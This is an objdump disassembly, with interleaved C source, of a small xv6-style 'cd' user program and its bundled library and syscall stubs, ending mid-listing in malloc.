text
stringlengths
1
1.05M
_cd: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" #include "fcntl.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 51 push %ecx e: 83 ec 10 sub $0x10,%esp 11: 8b 41 04 mov 0x4(%ecx),%eax if (argc < 2 && argc > 2) { printf(2, "Error, wrong arguments.\n"); exit(); } if (chdir(argv[1]) < 0) 14: ff 70 04 pushl 0x4(%eax) 17: e8 e6 02 00 00 call 302 <chdir> 1c: 83 c4 10 add $0x10,%esp 1f: 85 c0 test %eax,%eax 21: 78 05 js 28 <main+0x28> { printf(2, "Error, cannot change the directory\n"); } exit(); 23: e8 6a 02 00 00 call 292 <exit> printf(2, "Error, cannot change the directory\n"); 28: 50 push %eax 29: 50 push %eax 2a: 68 38 07 00 00 push $0x738 2f: 6a 02 push $0x2 31: e8 aa 03 00 00 call 3e0 <printf> 36: 83 c4 10 add $0x10,%esp 39: eb e8 jmp 23 <main+0x23> 3b: 66 90 xchg %ax,%ax 3d: 66 90 xchg %ax,%ax 3f: 90 nop 00000040 <strcpy>: 40: 55 push %ebp 41: 89 e5 mov %esp,%ebp 43: 53 push %ebx 44: 8b 45 08 mov 0x8(%ebp),%eax 47: 8b 4d 0c mov 0xc(%ebp),%ecx 4a: 89 c2 mov %eax,%edx 4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 50: 83 c1 01 add $0x1,%ecx 53: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 57: 83 c2 01 add $0x1,%edx 5a: 84 db test %bl,%bl 5c: 88 5a ff mov %bl,-0x1(%edx) 5f: 75 ef jne 50 <strcpy+0x10> 61: 5b pop %ebx 62: 5d pop %ebp 63: c3 ret 64: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 6a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000070 <strcmp>: 70: 55 push %ebp 71: 89 e5 mov %esp,%ebp 73: 53 push %ebx 74: 8b 55 08 mov 0x8(%ebp),%edx 77: 8b 4d 0c mov 0xc(%ebp),%ecx 7a: 0f b6 02 movzbl (%edx),%eax 7d: 0f b6 19 movzbl (%ecx),%ebx 80: 84 c0 test %al,%al 82: 75 1c jne a0 <strcmp+0x30> 84: eb 2a jmp b0 <strcmp+0x40> 86: 8d 76 00 lea 0x0(%esi),%esi 89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 90: 83 c2 01 add $0x1,%edx 93: 0f b6 02 movzbl (%edx),%eax 96: 83 c1 01 add $0x1,%ecx 99: 0f b6 19 movzbl (%ecx),%ebx 9c: 84 c0 test %al,%al 9e: 74 10 je b0 <strcmp+0x40> a0: 38 d8 cmp %bl,%al a2: 74 ec je 90 <strcmp+0x20> a4: 29 d8 sub %ebx,%eax a6: 5b pop %ebx a7: 5d pop %ebp a8: c3 ret a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi b0: 31 c0 xor %eax,%eax b2: 29 d8 sub %ebx,%eax b4: 5b pop %ebx b5: 5d pop %ebp b6: c3 ret b7: 89 f6 mov %esi,%esi b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000000c0 <strlen>: c0: 55 push %ebp c1: 89 e5 mov %esp,%ebp c3: 8b 4d 08 mov 0x8(%ebp),%ecx c6: 80 39 00 cmpb $0x0,(%ecx) c9: 74 15 je e0 <strlen+0x20> cb: 31 d2 xor %edx,%edx cd: 8d 76 00 lea 0x0(%esi),%esi d0: 83 c2 01 add $0x1,%edx d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) d7: 89 d0 mov %edx,%eax d9: 75 f5 jne d0 <strlen+0x10> db: 5d pop %ebp dc: c3 ret dd: 8d 76 00 lea 0x0(%esi),%esi e0: 31 c0 xor %eax,%eax e2: 5d pop %ebp e3: c3 ret e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000000f0 <memset>: f0: 55 push %ebp f1: 89 e5 mov %esp,%ebp f3: 57 push %edi f4: 8b 55 08 mov 0x8(%ebp),%edx f7: 8b 4d 10 mov 0x10(%ebp),%ecx fa: 8b 45 0c mov 0xc(%ebp),%eax fd: 89 d7 mov %edx,%edi ff: fc cld 100: f3 aa rep stos %al,%es:(%edi) 102: 89 d0 mov %edx,%eax 104: 5f pop %edi 105: 5d pop %ebp 106: c3 ret 107: 89 f6 mov %esi,%esi 109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000110 <strchr>: 110: 55 push %ebp 111: 89 e5 mov %esp,%ebp 113: 53 push %ebx 114: 8b 45 08 mov 0x8(%ebp),%eax 117: 8b 5d 0c mov 0xc(%ebp),%ebx 11a: 0f b6 10 movzbl (%eax),%edx 11d: 84 d2 test %dl,%dl 11f: 74 1d je 13e <strchr+0x2e> 121: 38 d3 cmp %dl,%bl 123: 89 d9 mov %ebx,%ecx 125: 75 0d jne 134 <strchr+0x24> 127: eb 17 jmp 140 <strchr+0x30> 129: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 130: 38 ca cmp %cl,%dl 132: 74 0c je 140 <strchr+0x30> 134: 83 c0 01 add $0x1,%eax 137: 0f b6 10 movzbl (%eax),%edx 13a: 84 d2 test %dl,%dl 13c: 75 f2 jne 130 <strchr+0x20> 13e: 31 c0 xor %eax,%eax 140: 5b pop %ebx 141: 5d pop %ebp 142: c3 ret 143: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000150 <gets>: 150: 55 push %ebp 151: 89 e5 mov %esp,%ebp 153: 57 push %edi 154: 56 push %esi 155: 53 push %ebx 156: 31 f6 xor %esi,%esi 158: 89 f3 mov %esi,%ebx 15a: 83 ec 1c sub $0x1c,%esp 15d: 8b 7d 08 mov 0x8(%ebp),%edi 160: eb 2f jmp 191 <gets+0x41> 162: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 168: 8d 45 e7 lea -0x19(%ebp),%eax 16b: 83 ec 04 sub $0x4,%esp 16e: 6a 01 push $0x1 170: 50 push %eax 171: 6a 00 push $0x0 173: e8 32 01 00 00 call 2aa <read> 178: 83 c4 10 add $0x10,%esp 17b: 85 c0 test %eax,%eax 17d: 7e 1c jle 19b <gets+0x4b> 17f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 183: 83 c7 01 add $0x1,%edi 186: 88 47 ff mov %al,-0x1(%edi) 189: 3c 0a cmp $0xa,%al 18b: 74 23 je 1b0 <gets+0x60> 18d: 3c 0d cmp $0xd,%al 18f: 74 1f je 1b0 <gets+0x60> 191: 83 c3 01 add $0x1,%ebx 194: 3b 5d 0c cmp 0xc(%ebp),%ebx 197: 89 fe mov %edi,%esi 199: 7c cd jl 168 <gets+0x18> 19b: 89 f3 mov %esi,%ebx 19d: 8b 45 08 mov 0x8(%ebp),%eax 1a0: c6 03 00 movb $0x0,(%ebx) 1a3: 8d 65 f4 lea -0xc(%ebp),%esp 1a6: 5b pop %ebx 1a7: 5e pop %esi 1a8: 5f pop %edi 1a9: 5d pop %ebp 1aa: c3 ret 1ab: 90 nop 1ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1b0: 8b 75 08 mov 0x8(%ebp),%esi 1b3: 8b 45 08 mov 0x8(%ebp),%eax 1b6: 01 de add %ebx,%esi 1b8: 89 f3 mov %esi,%ebx 1ba: c6 03 00 movb $0x0,(%ebx) 1bd: 8d 65 f4 lea -0xc(%ebp),%esp 1c0: 5b pop %ebx 1c1: 5e pop %esi 1c2: 5f pop %edi 1c3: 5d pop %ebp 1c4: c3 ret 1c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001d0 <stat>: 1d0: 55 push %ebp 1d1: 89 e5 mov %esp,%ebp 1d3: 56 push %esi 1d4: 53 push %ebx 1d5: 83 ec 08 sub $0x8,%esp 1d8: 6a 00 push $0x0 1da: ff 75 08 pushl 0x8(%ebp) 1dd: e8 f0 00 00 00 call 2d2 <open> 1e2: 83 c4 10 add $0x10,%esp 1e5: 85 c0 test %eax,%eax 1e7: 78 27 js 210 <stat+0x40> 1e9: 83 ec 08 sub $0x8,%esp 1ec: ff 75 0c pushl 0xc(%ebp) 1ef: 89 c3 mov %eax,%ebx 1f1: 50 push %eax 1f2: e8 f3 00 00 00 call 2ea <fstat> 1f7: 89 1c 24 mov %ebx,(%esp) 1fa: 89 c6 mov %eax,%esi 1fc: e8 b9 00 00 00 call 2ba <close> 201: 83 c4 10 add $0x10,%esp 204: 8d 65 f8 lea -0x8(%ebp),%esp 207: 89 f0 mov %esi,%eax 209: 5b pop %ebx 20a: 5e pop %esi 20b: 5d pop %ebp 20c: c3 ret 20d: 8d 76 00 lea 0x0(%esi),%esi 210: be ff ff ff ff mov $0xffffffff,%esi 215: eb ed jmp 204 <stat+0x34> 217: 89 f6 mov %esi,%esi 219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000220 <atoi>: 220: 55 push %ebp 221: 89 e5 mov %esp,%ebp 223: 53 push %ebx 224: 8b 4d 08 mov 0x8(%ebp),%ecx 227: 0f be 11 movsbl (%ecx),%edx 22a: 8d 42 d0 lea -0x30(%edx),%eax 22d: 3c 09 cmp $0x9,%al 22f: b8 00 00 00 00 mov $0x0,%eax 234: 77 1f ja 255 <atoi+0x35> 236: 8d 76 00 lea 0x0(%esi),%esi 239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 240: 8d 04 80 lea (%eax,%eax,4),%eax 243: 83 c1 01 add $0x1,%ecx 246: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax 24a: 0f be 11 movsbl (%ecx),%edx 24d: 8d 5a d0 lea -0x30(%edx),%ebx 250: 80 fb 09 cmp $0x9,%bl 253: 76 eb jbe 240 <atoi+0x20> 255: 5b pop %ebx 256: 5d pop %ebp 257: c3 ret 258: 90 nop 259: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000260 <memmove>: 260: 55 push %ebp 261: 89 e5 mov %esp,%ebp 263: 56 push %esi 264: 53 push %ebx 265: 8b 5d 10 mov 0x10(%ebp),%ebx 268: 8b 45 08 mov 0x8(%ebp),%eax 26b: 8b 75 0c mov 0xc(%ebp),%esi 26e: 85 db test %ebx,%ebx 270: 7e 14 jle 286 <memmove+0x26> 272: 31 d2 xor %edx,%edx 274: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 278: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 27c: 88 0c 10 mov %cl,(%eax,%edx,1) 27f: 83 c2 01 add $0x1,%edx 282: 39 d3 cmp %edx,%ebx 284: 75 f2 jne 278 <memmove+0x18> 286: 5b pop %ebx 287: 5e pop %esi 288: 5d pop %ebp 289: c3 ret 0000028a <fork>: 28a: b8 01 00 00 00 mov $0x1,%eax 28f: cd 40 int $0x40 291: c3 ret 00000292 <exit>: 292: b8 02 00 00 00 mov $0x2,%eax 297: cd 40 int $0x40 299: c3 ret 0000029a <wait>: 29a: b8 03 00 00 00 mov $0x3,%eax 29f: cd 40 int $0x40 2a1: c3 ret 000002a2 <pipe>: 2a2: b8 04 00 00 00 mov $0x4,%eax 2a7: cd 40 int $0x40 2a9: c3 ret 000002aa <read>: 2aa: b8 05 00 00 00 mov $0x5,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <write>: 2b2: b8 10 00 00 00 mov $0x10,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <close>: 2ba: b8 15 00 00 00 mov $0x15,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <kill>: 2c2: b8 06 00 00 00 mov $0x6,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <exec>: 2ca: b8 07 00 00 00 mov $0x7,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <open>: 2d2: b8 0f 00 00 00 mov $0xf,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <mknod>: 2da: b8 11 00 00 00 mov $0x11,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <unlink>: 2e2: b8 12 00 00 00 mov $0x12,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <fstat>: 2ea: b8 08 00 00 00 mov $0x8,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <link>: 2f2: b8 13 00 00 00 mov $0x13,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <mkdir>: 2fa: b8 14 00 00 00 mov $0x14,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <chdir>: 302: b8 09 00 00 00 mov $0x9,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <dup>: 30a: b8 0a 00 00 00 mov $0xa,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <getpid>: 312: b8 0b 00 00 00 mov $0xb,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <sbrk>: 31a: b8 0c 00 00 00 mov $0xc,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <sleep>: 322: b8 0d 00 00 00 mov $0xd,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <uptime>: 32a: b8 0e 00 00 00 mov $0xe,%eax 32f: cd 40 int $0x40 331: c3 ret 332: 66 90 xchg %ax,%ax 334: 66 90 xchg %ax,%ax 336: 66 90 xchg %ax,%ax 338: 66 90 xchg %ax,%ax 33a: 66 90 xchg %ax,%ax 33c: 66 90 xchg %ax,%ax 33e: 66 90 xchg %ax,%ax 00000340 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 340: 55 push %ebp 341: 89 e5 mov %esp,%ebp 343: 57 push %edi 344: 56 push %esi 345: 53 push %ebx 346: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 349: 85 d2 test %edx,%edx { 34b: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 34e: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 350: 79 76 jns 3c8 <printint+0x88> 352: f6 45 08 01 testb $0x1,0x8(%ebp) 356: 74 70 je 3c8 <printint+0x88> x = -xx; 358: f7 d8 neg %eax neg = 1; 35a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 361: 31 f6 xor %esi,%esi 363: 8d 5d d7 lea -0x29(%ebp),%ebx 366: eb 0a jmp 372 <printint+0x32> 368: 90 nop 369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 370: 89 fe mov %edi,%esi 372: 31 d2 xor %edx,%edx 374: 8d 7e 01 lea 0x1(%esi),%edi 377: f7 f1 div %ecx 379: 0f b6 92 64 07 00 00 movzbl 0x764(%edx),%edx }while((x /= base) != 0); 380: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 382: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 385: 75 e9 jne 370 <printint+0x30> if(neg) 387: 8b 45 c4 mov -0x3c(%ebp),%eax 38a: 85 c0 test %eax,%eax 38c: 74 08 je 396 <printint+0x56> buf[i++] = '-'; 38e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 393: 8d 7e 02 lea 0x2(%esi),%edi 396: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 39a: 8b 7d c0 mov -0x40(%ebp),%edi 39d: 8d 76 00 lea 0x0(%esi),%esi 3a0: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 3a3: 83 ec 04 sub $0x4,%esp 3a6: 83 ee 01 sub $0x1,%esi 3a9: 6a 01 push $0x1 3ab: 53 push %ebx 3ac: 57 push %edi 3ad: 88 45 d7 mov %al,-0x29(%ebp) 3b0: e8 fd fe ff ff call 2b2 <write> while(--i >= 0) 3b5: 83 c4 10 add $0x10,%esp 3b8: 39 de cmp %ebx,%esi 3ba: 75 e4 jne 3a0 <printint+0x60> putc(fd, buf[i]); } 3bc: 8d 65 f4 lea -0xc(%ebp),%esp 3bf: 5b pop %ebx 3c0: 5e pop %esi 3c1: 5f pop %edi 3c2: 5d pop %ebp 3c3: c3 ret 3c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 3c8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 3cf: eb 90 jmp 361 <printint+0x21> 3d1: eb 0d jmp 3e0 <printf> 3d3: 90 nop 3d4: 90 nop 3d5: 90 nop 3d6: 90 nop 3d7: 90 nop 3d8: 90 nop 3d9: 90 nop 3da: 90 nop 3db: 90 nop 3dc: 90 nop 3dd: 90 nop 3de: 90 nop 3df: 90 nop 000003e0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3e0: 55 push %ebp 3e1: 89 e5 mov %esp,%ebp 3e3: 57 push %edi 3e4: 56 push %esi 3e5: 53 push %ebx 3e6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 3e9: 8b 75 0c mov 0xc(%ebp),%esi 3ec: 0f b6 1e movzbl (%esi),%ebx 3ef: 84 db test %bl,%bl 3f1: 0f 84 b3 00 00 00 je 4aa <printf+0xca> ap = (uint*)(void*)&fmt + 1; 3f7: 8d 45 10 lea 0x10(%ebp),%eax 3fa: 83 c6 01 add $0x1,%esi state = 0; 3fd: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 3ff: 89 45 d4 mov %eax,-0x2c(%ebp) 402: eb 2f jmp 433 <printf+0x53> 404: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 408: 83 f8 25 cmp $0x25,%eax 40b: 0f 84 a7 00 00 00 je 4b8 <printf+0xd8> write(fd, &c, 1); 411: 8d 45 e2 lea -0x1e(%ebp),%eax 414: 83 ec 04 sub $0x4,%esp 417: 88 5d e2 mov %bl,-0x1e(%ebp) 41a: 6a 01 push $0x1 41c: 50 push %eax 41d: ff 75 08 pushl 0x8(%ebp) 420: e8 8d fe ff ff call 2b2 <write> 425: 83 c4 10 add $0x10,%esp 428: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 42b: 0f b6 5e ff movzbl -0x1(%esi),%ebx 42f: 84 db test %bl,%bl 431: 74 77 je 4aa <printf+0xca> if(state == 0){ 433: 85 ff test %edi,%edi c = fmt[i] & 0xff; 435: 0f be cb movsbl %bl,%ecx 438: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 43b: 74 cb je 408 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 43d: 83 ff 25 cmp $0x25,%edi 440: 75 e6 jne 428 <printf+0x48> if(c == 'd'){ 442: 83 f8 64 cmp $0x64,%eax 445: 0f 84 05 01 00 00 je 550 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 44b: 81 e1 f7 00 00 00 and $0xf7,%ecx 451: 83 f9 70 cmp $0x70,%ecx 454: 74 72 je 4c8 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 456: 83 f8 73 cmp $0x73,%eax 459: 0f 84 99 00 00 00 je 4f8 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 45f: 83 f8 63 cmp $0x63,%eax 462: 0f 84 08 01 00 00 je 570 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 468: 83 f8 25 cmp $0x25,%eax 46b: 0f 84 ef 00 00 00 je 560 <printf+0x180> write(fd, &c, 1); 471: 8d 45 e7 lea -0x19(%ebp),%eax 474: 83 ec 04 sub $0x4,%esp 477: c6 45 e7 25 movb $0x25,-0x19(%ebp) 47b: 6a 01 push $0x1 47d: 50 push %eax 47e: ff 75 08 pushl 0x8(%ebp) 481: e8 2c fe ff ff call 2b2 <write> 486: 83 c4 0c add $0xc,%esp 489: 8d 45 e6 lea -0x1a(%ebp),%eax 48c: 88 5d e6 mov %bl,-0x1a(%ebp) 48f: 6a 01 push $0x1 491: 50 push %eax 492: ff 75 08 pushl 0x8(%ebp) 495: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 498: 31 ff xor %edi,%edi write(fd, &c, 1); 49a: e8 13 fe ff ff call 2b2 <write> for(i = 0; fmt[i]; i++){ 49f: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 4a3: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 4a6: 84 db test %bl,%bl 4a8: 75 89 jne 433 <printf+0x53> } } } 4aa: 8d 65 f4 lea -0xc(%ebp),%esp 4ad: 5b pop %ebx 4ae: 5e pop %esi 4af: 5f pop %edi 4b0: 5d pop %ebp 4b1: c3 ret 4b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 4b8: bf 25 00 00 00 mov $0x25,%edi 4bd: e9 66 ff ff ff jmp 428 <printf+0x48> 4c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 4c8: 83 ec 0c sub $0xc,%esp 4cb: b9 10 00 00 00 mov $0x10,%ecx 4d0: 6a 00 push $0x0 4d2: 8b 7d d4 mov -0x2c(%ebp),%edi 4d5: 8b 45 08 mov 0x8(%ebp),%eax 4d8: 8b 17 mov (%edi),%edx 4da: e8 61 fe ff ff call 340 <printint> ap++; 4df: 89 f8 mov %edi,%eax 4e1: 83 c4 10 add $0x10,%esp state = 0; 4e4: 31 ff xor %edi,%edi ap++; 4e6: 83 c0 04 add $0x4,%eax 4e9: 89 45 d4 mov %eax,-0x2c(%ebp) 4ec: e9 37 ff ff ff jmp 428 <printf+0x48> 4f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 4f8: 8b 45 d4 mov -0x2c(%ebp),%eax 4fb: 8b 08 mov (%eax),%ecx ap++; 4fd: 83 c0 04 add $0x4,%eax 500: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 503: 85 c9 test %ecx,%ecx 505: 0f 84 8e 00 00 00 je 599 <printf+0x1b9> while(*s != 0){ 50b: 0f b6 01 movzbl (%ecx),%eax state = 0; 50e: 31 ff xor %edi,%edi s = (char*)*ap; 510: 89 cb mov %ecx,%ebx while(*s != 0){ 512: 84 c0 test %al,%al 514: 0f 84 0e ff ff ff je 428 <printf+0x48> 51a: 89 75 d0 mov %esi,-0x30(%ebp) 51d: 89 de mov %ebx,%esi 51f: 8b 5d 08 mov 0x8(%ebp),%ebx 522: 8d 7d e3 lea -0x1d(%ebp),%edi 525: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 528: 83 ec 04 sub $0x4,%esp s++; 52b: 83 c6 01 add $0x1,%esi 52e: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 531: 6a 01 push $0x1 533: 57 push %edi 534: 53 push %ebx 535: e8 78 fd ff ff call 2b2 <write> while(*s != 0){ 53a: 0f b6 06 movzbl (%esi),%eax 53d: 83 c4 10 add $0x10,%esp 540: 84 c0 test %al,%al 542: 75 e4 jne 528 <printf+0x148> 544: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 547: 31 ff xor %edi,%edi 549: e9 da fe ff ff jmp 428 <printf+0x48> 54e: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 550: 83 ec 0c sub $0xc,%esp 553: b9 0a 00 00 00 mov $0xa,%ecx 558: 6a 01 push $0x1 55a: e9 73 ff ff ff jmp 4d2 <printf+0xf2> 55f: 90 nop write(fd, &c, 1); 560: 83 ec 04 sub $0x4,%esp 563: 88 5d e5 mov %bl,-0x1b(%ebp) 566: 8d 45 e5 lea -0x1b(%ebp),%eax 569: 6a 01 push $0x1 56b: e9 21 ff ff ff jmp 491 <printf+0xb1> putc(fd, *ap); 570: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 573: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 576: 8b 07 mov (%edi),%eax write(fd, &c, 1); 578: 6a 01 push $0x1 ap++; 57a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 57d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 580: 8d 45 e4 lea -0x1c(%ebp),%eax 583: 50 push %eax 584: ff 75 08 pushl 0x8(%ebp) 587: e8 26 fd ff ff call 2b2 <write> ap++; 58c: 89 7d d4 mov %edi,-0x2c(%ebp) 58f: 83 c4 10 add $0x10,%esp state = 0; 592: 31 ff xor %edi,%edi 594: e9 8f fe ff ff jmp 428 <printf+0x48> s = "(null)"; 599: bb 5c 07 00 00 mov $0x75c,%ebx while(*s != 0){ 59e: b8 28 00 00 00 mov $0x28,%eax 5a3: e9 72 ff ff ff jmp 51a <printf+0x13a> 5a8: 66 90 xchg %ax,%ax 5aa: 66 90 xchg %ax,%ax 5ac: 66 90 xchg %ax,%ax 5ae: 66 90 xchg %ax,%ax 000005b0 <free>: 5b0: 55 push %ebp 5b1: a1 08 0a 00 00 mov 0xa08,%eax 5b6: 89 e5 mov %esp,%ebp 5b8: 57 push %edi 5b9: 56 push %esi 5ba: 53 push %ebx 5bb: 8b 5d 08 mov 0x8(%ebp),%ebx 5be: 8d 4b f8 lea -0x8(%ebx),%ecx 5c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 5c8: 39 c8 cmp %ecx,%eax 5ca: 8b 10 mov (%eax),%edx 5cc: 73 32 jae 600 <free+0x50> 5ce: 39 d1 cmp %edx,%ecx 5d0: 72 04 jb 5d6 <free+0x26> 5d2: 39 d0 cmp %edx,%eax 5d4: 72 32 jb 608 <free+0x58> 5d6: 8b 73 fc mov -0x4(%ebx),%esi 5d9: 8d 3c f1 lea (%ecx,%esi,8),%edi 5dc: 39 fa cmp %edi,%edx 5de: 74 30 je 610 <free+0x60> 5e0: 89 53 f8 mov %edx,-0x8(%ebx) 5e3: 8b 50 04 mov 0x4(%eax),%edx 5e6: 8d 34 d0 lea (%eax,%edx,8),%esi 5e9: 39 f1 cmp %esi,%ecx 5eb: 74 3a je 627 <free+0x77> 5ed: 89 08 mov %ecx,(%eax) 5ef: a3 08 0a 00 00 mov %eax,0xa08 5f4: 5b pop %ebx 5f5: 5e pop %esi 5f6: 5f pop %edi 5f7: 5d pop %ebp 5f8: c3 ret 5f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 600: 39 d0 cmp %edx,%eax 602: 72 04 jb 608 <free+0x58> 604: 39 d1 cmp %edx,%ecx 606: 72 ce jb 5d6 <free+0x26> 608: 89 d0 mov %edx,%eax 60a: eb bc jmp 5c8 <free+0x18> 60c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 610: 03 72 04 add 0x4(%edx),%esi 613: 89 73 fc mov %esi,-0x4(%ebx) 616: 8b 10 mov (%eax),%edx 618: 8b 12 mov (%edx),%edx 61a: 89 53 f8 mov %edx,-0x8(%ebx) 61d: 8b 50 04 mov 0x4(%eax),%edx 620: 8d 34 d0 lea (%eax,%edx,8),%esi 623: 39 f1 cmp %esi,%ecx 625: 75 c6 jne 5ed <free+0x3d> 627: 03 53 fc add -0x4(%ebx),%edx 62a: a3 08 0a 00 00 mov %eax,0xa08 62f: 89 50 04 mov %edx,0x4(%eax) 632: 8b 53 f8 mov -0x8(%ebx),%edx 635: 89 10 mov %edx,(%eax) 637: 5b pop %ebx 638: 5e pop %esi 639: 5f pop %edi 63a: 5d pop %ebp 63b: c3 ret 63c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000640 <malloc>: 640: 55 push %ebp 641: 89 e5 mov %esp,%ebp 643: 57 push %edi 644: 56 push %esi 645: 53 push %ebx 646: 83 ec 0c sub $0xc,%esp 649: 8b 45 08 mov 0x8(%ebp),%eax 64c: 8b 15 08 0a 00 00 mov 0xa08,%edx 652: 8d 78 07 lea 0x7(%eax),%edi 655: c1 ef 03 shr $0x3,%edi 658: 83 c7 01 add $0x1,%edi 65b: 85 d2 test %edx,%edx 65d: 0f 84 9d 00 00 00 je 700 <malloc+0xc0> 663: 8b 02 mov (%edx),%eax 665: 8b 48 04 mov 0x4(%eax),%ecx 668: 39 cf cmp %ecx,%edi 66a: 76 6c jbe 6d8 <malloc+0x98> 66c: 81 ff 00 10 00 00 cmp $0x1000,%edi 672: bb 00 10 00 00 mov $0x1000,%ebx 677: 0f 43 df cmovae %edi,%ebx 67a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 681: eb 0e jmp 691 <malloc+0x51> 683: 90 nop 684: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 688: 8b 02 mov (%edx),%eax 68a: 8b 48 04 mov 0x4(%eax),%ecx 68d: 39 f9 cmp %edi,%ecx 68f: 73 47 jae 6d8 <malloc+0x98> 691: 39 05 08 0a 00 00 cmp %eax,0xa08 697: 89 c2 mov %eax,%edx 699: 75 ed jne 688 <malloc+0x48> 69b: 83 ec 0c sub $0xc,%esp 69e: 56 push %esi 69f: e8 76 fc ff ff call 31a <sbrk> 6a4: 83 c4 10 add $0x10,%esp 6a7: 83 f8 ff cmp 